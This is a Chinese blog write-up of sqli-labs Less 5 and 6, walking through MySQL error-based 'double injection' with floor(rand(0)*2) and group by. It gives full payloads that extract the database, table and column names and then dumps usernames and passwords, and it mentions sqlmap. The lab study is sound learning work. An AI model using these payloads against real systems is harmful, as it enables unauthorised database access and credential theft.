版权声明:本文为博主原创文章,欢迎转载,请注明转载来源,谢谢!!! https://blog.csdn.net/u014029795/article/details/87868475
什么是双重注入(double Injection)呢,反正没在网上看到什么双重注入,这也是根据sqlilabs直译过来的,其实就是用了多次select语句,但是这种注入的重点是需要用到特殊函数才可以完成的报错注入,不是很明白为什么要起这个名字。。。
Less 5 GET - Double Injection - Single Quotes - String
手工注入
- 传参后,发现没出现用户名和密码,出现的是
You are in...........
,奇了怪,先不管了,加个'试试,出现错误回显,near ''1'' LIMIT 0,1' at line 1
,这个和之前出现的是一样,单引号闭合,属于字符型注入。 - 但是不管怎么构造sql语句也没有办法知道回显点,没办法,去看下源码吧,到底是怎么回事。然后在源码中发现,当查询成功时,都只会显示出
You are in...........
,简直有毒。那么惟一还有输出的地方只有mysql_error()函数了。 - 找了一些资料确实有一些报错注入方法(这里不考虑盲注),
1' and (select * from (select concat_ws("^",查询语句,floor(rand(0)*2))x,count(*) from information_schema.tables group by x)y) %23
代码说明
floor()是取整数 rand()在0和1之间产生一个随机数 rand(0)*2将取0到2的随机数,并不是执行两次随机数 floor(rand()*2)有两条记录就会报错 floor(rand(0)*2)记录需为3条以上,且3条以上必报错,返回的值是有规律的 count(*)是用来统计结果的,相当于刷新一次结果 group by对数据分组。时会先看看虚拟表里有没有这个值,若没有就插入,若存在则count(*)加1 group by时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次 ()后面的x或者y都是对表做的别名,将as省略了 and后面超长的()不能去掉!!! 学习链接:https://blog.csdn.net/cried_cat/article/details/80022378
- 获取库名,
1' and (select * from (select concat_ws("^",database(),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)y) %23。
- 获取表名,
1' and (select * from (select concat_ws("^",(select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)y) %23
,替换limit参数即可。 - 获取字段名,
1' and (select * from (select concat_ws("^",(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)y) %23
,替换limit参数即可。 - 爆字段,
1' and (select * from (select concat_ws("^",(select concat_ws("^",id,username,password) from users limit 0,1),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)y) %23
,替换limit参数即可,完事了。
sqlmap注入
一样丢到sqlmap中就完事了。不得不说,sqlmap真的好用,研究了几个小时的东西,一会就搞定了。回头有时间一定要去学习一下源代码。
函数分析
没有增加新函数,无。
Less 6 GET - Double Injection - Double Quotes - String
手工注入
- 手法和Less-5没什么区别,多增加一个\就可以看到报错了,
'"1\" LIMIT 0,1' at line 1
,改成了双引号,直接加参数就OK。
sqlmap注入
- 一样直接丢进sqlmap跑就OK了。
函数分析
- 没有增加新函数,无。